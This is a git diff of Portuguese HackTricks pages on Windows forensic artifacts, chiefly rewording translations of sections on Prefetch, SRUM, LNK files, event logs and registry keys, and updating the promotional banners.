-* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
@@ -24,13 +26,13 @@ Dentro deste banco de dados SQLite, você pode encontrar a tabela `Notification`
### Linha do Tempo
-Linha do Tempo é uma característica do Windows que fornece **histórico cronológico** de páginas da web visitadas, documentos editados e aplicativos executados.
+Linha do Tempo é uma característica do Windows que fornece **histórico cronológico** de páginas da web visitadas, documentos editados e aplicações executadas.
-O banco de dados reside no caminho `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Este banco de dados pode ser aberto com uma ferramenta SQLite ou com a ferramenta [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **que gera 2 arquivos que podem ser abertos com a ferramenta** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
+O banco de dados fica no caminho `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Este banco de dados pode ser aberto com uma ferramenta SQLite ou com a ferramenta [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **que gera 2 arquivos que podem ser abertos com a ferramenta** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
### ADS (Alternate Data Streams)
-Arquivos baixados podem conter o **ADS Zone.Identifier** indicando **como** foi **baixado** da intranet, internet, etc. Alguns softwares (como navegadores) geralmente colocam até **mais** **informações** como a **URL** de onde o arquivo foi baixado.
+Arquivos baixados podem conter o **ADS Zone.Identifier** indicando **como** foi **baixado** da intranet, internet, etc. Alguns softwares (como navegadores) geralmente colocam **mais** **informações**, como a **URL** de onde o arquivo foi baixado.
## **Backups de Arquivos**
@@ -53,7 +55,7 @@ Tendo esses arquivos, você pode usar a ferramenta [**Rifiuti**](https://github.
### Cópias de Sombra de Volume
-Shadow Copy é uma tecnologia incluída no Microsoft Windows que pode criar **cópias de backup** ou snapshots de arquivos de computador ou volumes, mesmo quando estão em uso.
+Shadow Copy é uma tecnologia incluída no Microsoft Windows que pode criar **cópias de backup** ou instantâneos de arquivos ou volumes de computador, mesmo quando estão em uso.
Esses backups geralmente estão localizados em `\System Volume Information` na raiz do sistema de arquivos e o nome é composto por **UIDs** mostrados na seguinte imagem:
@@ -71,7 +73,7 @@ O registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` também co
### Arquivos AutoSalvados do Office
-Você pode encontrar os arquivos autosalvados do office em: `C:\Usuários\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
+Você pode encontrar os arquivos autosalvados do office em: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
## Itens de Shell
@@ -81,18 +83,18 @@ Um item de shell é um item que contém informações sobre como acessar outro a
O Windows **cria automaticamente** esses **atalhos** quando o usuário **abre, usa ou cria um arquivo** em:
-* Win7-Win10: `C:\Usuários\AppData\Roaming\Microsoft\Windows\Recent\`
-* Office: `C:\Usuários\AppData\Roaming\Microsoft\Office\Recent\`
+* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
+* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
Quando uma pasta é criada, um link para a pasta, para a pasta pai e para a pasta avó também é criado.
-Esses arquivos de link criados automaticamente **contêm informações sobre a origem** como se é um **arquivo** ou uma **pasta**, **tempos MAC** daquele arquivo, **informações de volume** de onde o arquivo está armazenado e **pasta do arquivo alvo**. Essas informações podem ser úteis para recuperar esses arquivos caso tenham sido removidos.
+Esses arquivos de link criados automaticamente **contêm informações sobre a origem** como se é um **arquivo** **ou** uma **pasta**, **tempos MAC** daquele arquivo, **informações de volume** de onde o arquivo está armazenado e **pasta do arquivo de destino**. Essas informações podem ser úteis para recuperar esses arquivos caso tenham sido removidos.
Além disso, a **data de criação do arquivo de link** é a primeira **vez** que o arquivo original foi **usado** e a **data de modificação** do arquivo de link é a **última vez** que o arquivo de origem foi usado.
Para inspecionar esses arquivos, você pode usar [**LinkParser**](http://4discovery.com/our-tools/).
-Nesta ferramenta, você encontrará **2 conjuntos** de timestamps:
+Nesta ferramenta, você encontrará **2 conjuntos** de carimbos de data/hora:
* **Primeiro Conjunto:**
1. FileModifiedDate
@@ -103,7 +105,7 @@ Nesta ferramenta, você encontrará **2 conjuntos** de timestamps:
2. LinkAccessDate
3. LinkCreationDate.
-O primeiro conjunto de timestamp refere-se aos **timestamps do próprio arquivo**. O segundo conjunto refere-se aos **timestamps do arquivo vinculado**.
+O primeiro conjunto de carimbos de data/hora refere-se aos **tempos do próprio arquivo**. O segundo conjunto refere-se aos **tempos do arquivo vinculado**.
Você pode obter as mesmas informações executando a ferramenta CLI do Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
```
@@ -162,15 +164,15 @@ Verifique o arquivo `C:\Windows\inf\setupapi.dev.log` para obter os carimbos de
![](<../../../.gitbook/assets/image (483).png>)
-### Limpeza Plug and Play
+### Limpeza de Plug and Play
-A tarefa agendada 'Limpeza Plug and Play' é responsável por **limpar** versões antigas de drivers. Parece (com base em relatórios online) que ela também pega **drivers que não foram usados em 30 dias**, apesar de sua descrição afirmar que "a versão mais atual de cada pacote de driver será mantida". Como tal, **dispositivos removíveis que não foram conectados por 30 dias podem ter seus drivers removidos**.
+A tarefa agendada 'Limpeza de Plug and Play' é responsável por **limpar** versões antigas de drivers. Parece (com base em relatórios online) que ela também pega **drivers que não foram usados nos últimos 30 dias**, apesar de sua descrição afirmar que "a versão mais atual de cada pacote de driver será mantida". Assim, **dispositivos removíveis que não foram conectados por 30 dias podem ter seus drivers removidos**.
A própria tarefa agendada está localizada em 'C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup', e seu conteúdo é exibido abaixo:
![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
-A tarefa faz referência a 'pnpclean.dll', que é responsável por realizar a atividade de limpeza, além disso, vemos que o campo ‘UseUnifiedSchedulingEngine’ está definido como ‘TRUE’, o que especifica que o motor de agendamento de tarefas genérico é usado para gerenciar a tarefa. Os valores ‘Period’ e ‘Deadline’ de 'P1M' e 'P2M' dentro de ‘MaintenanceSettings’ instruem o Agendador de Tarefas a executar a tarefa uma vez por mês durante a manutenção Automática regular e, se falhar por 2 meses consecutivos, a começar a tentar a tarefa durante a manutenção Automática de emergência. **Esta seção foi copiada de** [**aqui**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)**.**
+A tarefa faz referência a 'pnpclean.dll', que é responsável por realizar a atividade de limpeza, além disso, vemos que o campo ‘UseUnifiedSchedulingEngine’ está definido como ‘TRUE’, o que especifica que o motor genérico de agendamento de tarefas é usado para gerenciar a tarefa. Os valores ‘Period’ e ‘Deadline’ de 'P1M' e 'P2M' dentro de ‘MaintenanceSettings’ instruem o Agendador de Tarefas a executar a tarefa uma vez por mês durante a manutenção Automática regular e, se falhar por 2 meses consecutivos, a começar a tentar a tarefa durante a manutenção Automática de emergência. **Esta seção foi copiada de** [**aqui**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)**.**
## Emails
@@ -196,7 +198,7 @@ Os **metadados** dos emails e os **contatos** podem ser encontrados dentro do **
Quando servidores Exchange ou clientes Outlook são usados, vão existir alguns cabeçalhos MAPI:
* `Mapi-Client-Submit-Time`: Horário do sistema quando o email foi enviado
-* `Mapi-Conversation-Index`: Número de mensagens filhas da thread e carimbo de data/hora de cada mensagem da thread
+* `Mapi-Conversation-Index`: Número de mensagens filhas do tópico e carimbo de data/hora de cada mensagem do tópico
* `Mapi-Entry-ID`: Identificador da mensagem.
* `Mappi-Message-Flags` e `Pr_last_Verb-Executed`: Informações sobre o cliente MAPI (mensagem lida? não lida? respondida? redirecionada? fora do escritório?)
@@ -256,7 +258,7 @@ Os arquivos que contêm o registro estão localizados em:
* %windir%\System32\Config\*_DEFAULT\*_: `HKEY_LOCAL_MACHINE`
* %UserProfile%{User}\*_NTUSER.DAT\*_: `HKEY_CURRENT_USER`
-A partir do Windows Vista e Windows 2008 Server em diante, existem alguns backups dos arquivos de registro `HKEY_LOCAL_MACHINE` em **`%Windir%\System32\Config\RegBack\`**.
+A partir do Windows Vista e Windows 2008 Server para cima existem alguns backups dos arquivos do registro `HKEY_LOCAL_MACHINE` em **`%Windir%\System32\Config\RegBack\`**.
Também a partir dessas versões, o arquivo de registro **`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`** é criado salvando informações sobre execuções de programas.
@@ -269,9 +271,9 @@ Algumas ferramentas são úteis para analisar os arquivos de registro:
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Novamente, tem uma GUI que permite navegar pelo registro carregado e também contém plugins que destacam informações interessantes dentro do registro carregado.
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Outra aplicação GUI capaz de extrair as informações importantes do registro carregado.
-### Recuperando Elemento Excluído
+### Recuperando Elemento Deletado
-Quando uma chave é excluída, ela é marcada como tal, mas até que o espaço que está ocupando seja necessário, ela não será removida. Portanto, usando ferramentas como **Registry Explorer**, é possível recuperar essas chaves excluídas.
+Quando uma chave é deletada, ela é marcada como tal, mas até que o espaço que está ocupando seja necessário, ela não será removida. Portanto, usando ferramentas como **Registry Explorer** é possível recuperar essas chaves deletadas.
### Último Tempo de Escrita
@@ -279,9 +281,9 @@ Cada Chave-Valor contém um **carimbo de data/hora** indicando a última vez que
### SAM
-O arquivo/zona **SAM** contém os **usuários, grupos e hashes das senhas dos usuários** do sistema.
+O arquivo/colmeia **SAM** contém os **usuários, grupos e hashes das senhas dos usuários** do sistema.
-Em `SAM\Domains\Account\Users` você pode obter o nome de usuário, o RID, último login, último login falhado, contador de login, política de senha e quando a conta foi criada. Para obter os **hashes** você também **precisa** do arquivo/zona **SYSTEM**.
+Em `SAM\Domains\Account\Users` você pode obter o nome de usuário, o RID, último login, último logon falhado, contador de login, política de senha e quando a conta foi criada. Para obter os **hashes** você também **precisa** do arquivo/colmeia **SYSTEM**.
### Entradas interessantes no Registro do Windows
@@ -293,7 +295,7 @@ Em `SAM\Domains\Account\Users` você pode obter o nome de usuário, o RID, últi
### Processos Básicos do Windows
-Na página seguinte, você pode aprender sobre os processos básicos do Windows para detectar comportamentos suspeitos:
+Na página a seguir, você pode aprender sobre os processos básicos do Windows para detectar comportamentos suspeitos:
{% content-ref url="windows-processes.md" %}
[windows-processes.md](windows-processes.md)
@@ -303,21 +305,21 @@ Na página seguinte, você pode aprender sobre os processos básicos do Windows
Dentro do registro `NTUSER.DAT` no caminho `Software\Microsoft\Current Version\Search\RecentApps` você pode encontrar subchaves com informações sobre o **aplicativo executado**, **última vez** que foi executado e **número de vezes** que foi lançado.
-### BAM (Moderador de Atividade em Segundo Plano)
+### BAM (Background Activity Moderator)
Você pode abrir o arquivo `SYSTEM` com um editor de registro e dentro do caminho `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` você pode encontrar informações sobre os **aplicativos executados por cada usuário** (note o `{SID}` no caminho) e em **que horário** foram executados (o horário está dentro do valor de Dados do registro).
### Prefetch do Windows
-Prefetching é uma técnica que permite a um computador buscar silenciosamente os recursos necessários para exibir conteúdo que um usuário **pode acessar em um futuro próximo** para que os recursos possam ser acessados mais rapidamente.
+Prefetching é uma técnica que permite a um computador buscar silenciosamente **os recursos necessários para exibir conteúdo** que um usuário **pode acessar em um futuro próximo** para que os recursos possam ser acessados mais rapidamente.
O prefetch do Windows consiste em criar **caches dos programas executados** para poder carregá-los mais rapidamente. Esses caches são criados como arquivos `.pf` dentro do caminho: `C:\Windows\Prefetch`. Há um limite de 128 arquivos no XP/VISTA/WIN7 e 1024 arquivos no Win8/Win10.
-O nome do arquivo é criado como `{program_name}-{hash}.pf` (o hash é baseado no caminho e argumentos do executável). No W10 esses arquivos são comprimidos. Note que a simples presença do arquivo indica que **o programa foi executado** em algum momento.
+O nome do arquivo é criado como `{program_name}-{hash}.pf` (o hash é baseado no caminho e argumentos do executável). No W10 esses arquivos são comprimidos. Note que a mera presença do arquivo indica que **o programa foi executado** em algum momento.
O arquivo `C:\Windows\Prefetch\Layout.ini` contém os **nomes das pastas dos arquivos que são prefetchados**. Este arquivo contém **informações sobre o número de execuções**, **datas** de execução e **arquivos** **abertos** pelo programa.
-Para inspecionar esses arquivos, você pode usar a ferramenta [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
+Para inspecionar esses arquivos você pode usar a ferramenta [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
```bash
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
```
@@ -349,7 +351,7 @@ Ele fornece as seguintes informações:
Essas informações são atualizadas a cada 60 minutos.
-Você pode obter a data deste arquivo usando a ferramenta [**srum\_dump**](https://github.com/MarkBaggett/srum-dump).
+Você pode obter os dados deste arquivo usando a ferramenta [**srum\_dump**](https://github.com/MarkBaggett/srum-dump).
```
```bash
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
@@ -424,7 +426,7 @@ Informações que aparecem nos eventos do Windows são:
* Hosts envolvidos (nome do host, IP)
* Ativos acessados (arquivos, pastas, impressoras, serviços)
-Os logs estão localizados em `C:\Windows\System32\config` antes do Windows Vista e em `C:\Windows\System32\winevt\Logs` após o Windows Vista. Antes do Windows Vista, os logs de eventos estavam em formato binário e depois estão em **formato XML** e usam a extensão **.evtx**.
+Os logs estão localizados em `C:\Windows\System32\config` antes do Windows Vista e em `C:\Windows\System32\winevt\Logs` após o Windows Vista. Antes do Windows Vista, os logs de eventos estavam em formato binário e depois disso, estão em **formato XML** e usam a extensão **.evtx**.
A localização dos arquivos de eventos pode ser encontrada no registro SYSTEM em **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
@@ -448,8 +450,8 @@ Eventos relacionados à autenticação do usuário:
| EventID | Descrição |
| --------- | ---------------------------- |
| 4624 | Autenticação bem-sucedida |
-| 4625 | Erro de autenticação |
-| 4634/4647 | log off |
+| 4625 | Erro de autenticação |
+| 4634/4647 | log off |
| 4672 | Login com permissões de admin |
Dentro do EventID 4634/4647 existem subtipos interessantes:
@@ -464,8 +466,8 @@ Dentro do EventID 4634/4647 existem subtipos interessantes:
* **9 (novas credenciais)**: É gerado quando o comando `RunAs` é usado ou o usuário acessa um serviço de rede com credenciais diferentes.
* **10 (interativo remoto)**: Autenticação via Serviços de Terminal ou RDP
* **11 (cache interativo)**: Acesso usando as últimas credenciais em cache porque não foi possível contatar o controlador de domínio
-* **12 (cache remoto interativo)**: Login remoto com credenciais em cache (uma combinação de 10 e 11).
-* **13 (desbloqueio em cache)**: Desbloqueio de uma máquina travada com credenciais em cache.
+* **12 (cache interativo remoto)**: Login remoto com credenciais em cache (uma combinação de 10 e 11).
+* **13 (desbloqueio em cache)**: Desbloqueio de uma máquina bloqueada com credenciais em cache.
Neste post, você pode encontrar como imitar todos esses tipos de login e em quais deles você poderá despejar credenciais da memória: [https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)
@@ -508,12 +510,14 @@ O EventID 1102 de Segurança indica que os logs foram excluídos.
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+Outras maneiras de apoiar o HackTricks:
+
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Obtenha o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga** me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md
index 81ac587d3..e56a1ae4f 100644
--- a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md
+++ b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md
@@ -1,46 +1,62 @@
-# Chaves de Registro do Windows Interessantes
+# Chaves do Registro do Windows Interessantes
-## Chaves de Registro do Sistema Windows
+## Chaves do Registro do Windows Interessantes
+
+
+
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
+
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+
+
+
+## **Informações do sistema Windows**
### Versão
-* **`Software\Microsoft\Windows NT\CurrentVersion`**: Versão do Windows, Service Pack, hora da instalação e proprietário registrado.
+* **`Software\Microsoft\Windows NT\CurrentVersion`**: Versão do Windows, Service Pack, Tempo de instalação e o proprietário registrado
### Nome do Host
-* **`System\ControlSet001\Control\ComputerName\ComputerName`**: Nome do host.
+* **`System\ControlSet001\Control\ComputerName\ComputerName`**: Nome do Host
-### Fuso horário
+### Fuso Horário
-* **`System\ControlSet001\Control\TimeZoneInformation`**: Fuso horário.
+* **`System\ControlSet001\Control\TimeZoneInformation`**: Fuso Horário
-### Último horário de acesso
+### Último Acesso
-* **`System\ControlSet001\Control\Filesystem`**: Último horário de acesso (por padrão, está desativado com `NtfsDisableLastAccessUpdate=1`, se `0`, então está ativado).
- * Para ativá-lo: `fsutil behavior set disablelastaccess 0`
+* **`System\ControlSet001\Control\Filesystem`**: Último acesso (por padrão está desativado com `NtfsDisableLastAccessUpdate=1`, se `0`, então, está ativado).
+* Para ativar: `fsutil behavior set disablelastaccess 0`
-### Horário de desligamento
+### Tempo de Desligamento
-* `System\ControlSet001\Control\Windows`: Horário de desligamento.
-* `System\ControlSet001\Control\Watchdog\Display`: Contagem de desligamentos (apenas XP).
+* `System\ControlSet001\Control\Windows`: Tempo de desligamento
+* `System\ControlSet001\Control\Watchdog\Display`: Contagem de desligamento (apenas XP)
### Informações de Rede
-* **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**: Interfaces de rede.
-* **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Managed` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Nla\Cache`**: Primeira e última vez que uma conexão de rede foi realizada e conexões através de VPN.
-* **`Software\Microsoft\WZCSVC\Parameters\Interfaces{GUID}` (para XP) & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles`**: Tipo de rede (0x47-wireless, 0x06-cable, 0x17-3G) e categoria (0-Pública, 1-Privada/Doméstica, 2-Domínio/Trabalho) e últimas conexões.
+* **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**: Interfaces de rede
+* **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Managed` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Nla\Cache`**: Primeira e última vez que uma conexão de rede foi realizada e conexões através de VPN
+* **`Software\Microsoft\WZCSVC\Parameters\Interfaces{GUID}` (para XP) & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles`**: Tipo de rede (0x47-sem fio, 0x06-cabo, 0x17-3G) e categoria (0-Pública, 1-Privada/Casa, 2-Domínio/Trabalho) e últimas conexões
### Pastas Compartilhadas
-* **`System\ControlSet001\Services\lanmanserver\Shares\`**: Pastas compartilhadas e suas configurações. Se o **Cache do Lado do Cliente** (CSCFLAGS) estiver habilitado, uma cópia dos arquivos compartilhados será salva nos clientes e no servidor em `C:\Windows\CSC`.
- * CSCFlag=0 -> Por padrão, o usuário precisa indicar os arquivos que deseja armazenar em cache.
- * CSCFlag=16 -> Armazenamento automático de documentos. "Todos os arquivos e programas que os usuários abrem da pasta compartilhada estão automaticamente disponíveis offline" com a opção "otimizar para desempenho" desmarcada.
- * CSCFlag=32 -> Como as opções anteriores, mas com a opção "otimizar para desempenho" marcada.
- * CSCFlag=48 -> Cache desativado.
- * CSCFlag=2048: Esta configuração está disponível apenas no Win 7 e 8 e é a configuração padrão até você desativar o "Compartilhamento Simples de Arquivos" ou usar a opção de compartilhamento "avançada". Também parece ser a configuração padrão para o "Grupo Doméstico".
- * CSCFlag=768 -> Esta configuração foi vista apenas em dispositivos de impressão compartilhados.
+* **`System\ControlSet001\Services\lanmanserver\Shares\`**: Pastas compartilhadas e suas configurações. Se **Client Side Caching** (CSCFLAGS) estiver ativado, então, uma cópia dos arquivos compartilhados será salva nos clientes e servidor em `C:\Windows\CSC`
+* CSCFlag=0 -> Por padrão o usuário precisa indicar os arquivos que ele quer armazenar em cache
+* CSCFlag=16 -> Caching automático de documentos. "Todos os arquivos e programas que os usuários abrem da pasta compartilhada estão automaticamente disponíveis offline" com a opção "otimizar para desempenho" desmarcada.
+* CSCFlag=32 -> Como as opções anteriores, mas com "otimizar para desempenho" marcado
+* CSCFlag=48 -> Cache está desativado.
+* CSCFlag=2048: Esta configuração é apenas no Win 7 & 8 e é a configuração padrão até você desativar o "Compartilhamento de arquivos simples" ou usar a opção de compartilhamento "avançado". Também parece ser a configuração padrão para o "Grupo Doméstico"
+* CSCFlag=768 -> Esta configuração foi vista apenas em dispositivos de impressão compartilhados.
-### Programas de Inicialização Automática
+### Programas de AutoStart
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\RunOnce`
@@ -48,4 +64,143 @@
* `Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run`
* `Software\Microsoft\Windows\CurrentVersion\Run`
-### Pes
+### Pesquisas no Explorer
+
+* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\WordwheelQuery`: O que o usuário pesquisou usando o explorer/helper. O item com `MRU=0` é o último.
+
+### Caminhos Digitados
+
+* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths`: Caminhos digitados no explorer (apenas W10)
+
+### Documentos Recentes
+
+* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs`: Documentos recentes abertos pelo usuário
+* `NTUSER.DAT\Software\Microsoft\Office{Version}{Excel|Word}\FileMRU`: Documentos recentes do office. Versões:
+* 14.0 Office 2010
+* 12.0 Office 2007
+* 11.0 Office 2003
+* 10.0 Office X
+* `NTUSER.DAT\Software\Microsoft\Office{Version}{Excel|Word} UserMRU\LiveID_###\FileMRU`: Documentos recentes do office. Versões:
+* 15.0 office 2013
+* 16.0 Office 2016
+
+### MRUs
+
+* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedMRU`
+* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LasVisitedPidlMRU`
+
+Indica o caminho de onde o executável foi executado
+
+* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\Op enSaveMRU` (XP)
+* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\Op enSavePidlMRU`
+
+Indica arquivos abertos dentro de uma janela aberta
+
+### Últimos Comandos Executados
+
+* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU`
+* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Policies\RunMR`
+
+### Chave User Assist
+
+* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`
+
+O GUID é o id do aplicativo. Dados salvos:
+
+* Último Tempo de Execução
+* Contagem de Execução
+* Nome do aplicativo GUI (isso contém o caminho absoluto e mais informações)
+* Tempo de foco e Nome do foco
+
+## Shellbags
+
+Quando você abre um diretório, o Windows salva dados sobre como visualizar o diretório no registro. Essas entradas são conhecidas como Shellbags.
+
+Acesso ao Explorer:
+
+* `USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\Bags`
+* `USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU`
+
+Acesso ao Desktop:
+
+* `NTUSER.DAT\Software\Microsoft\Windows\Shell\BagMRU`
+* `NTUSER.DAT\Software\Microsoft\Windows\Shell\Bags`
+
+Para analisar os Shellbags, você pode usar o [**Shellbag Explorer**](https://ericzimmerman.github.io/#!index.md) e você será capaz de encontrar o **tempo MAC da pasta** e também a **data de criação e data de modificação do shellbag** que estão relacionados ao **primeiro e último tempo** que a pasta foi acessada.
+
+Observe 2 coisas da seguinte imagem:
+
+1. Sabemos o **nome das pastas do USB** que foi inserido em **E:**
+2. Sabemos quando o **shellbag foi criado e modificado** e quando a pasta foi criada e acessada
+
+![](<../../../.gitbook/assets/image (475).png>)
+
+## Informações USB
+
+### Informações do Dispositivo
+
+O registro `HKLM\SYSTEM\ControlSet001\Enum\USBSTOR` monitora cada dispositivo USB que foi conectado ao PC.\
+Dentro deste registro é possível encontrar:
+
+* O nome do fabricante
+* O nome do produto e versão
+* O ID da Classe do Dispositivo
+* O nome do volume (nas imagens a seguir o nome do volume é a subchave destacada)
+
+![](<../../../.gitbook/assets/image (477).png>)
+
+![](<../../../.gitbook/assets/image (479) (1).png>)
+
+Além disso, verificando o registro `HKLM\SYSTEM\ControlSet001\Enum\USB` e comparando os valores das subchaves é possível encontrar o valor VID.
+
+![](<../../../.gitbook/assets/image (478).png>)
+
+Com as informações anteriores, o registro `SOFTWARE\Microsoft\Windows Portable Devices\Devices` pode ser usado para obter o **`{GUID}`**:
+
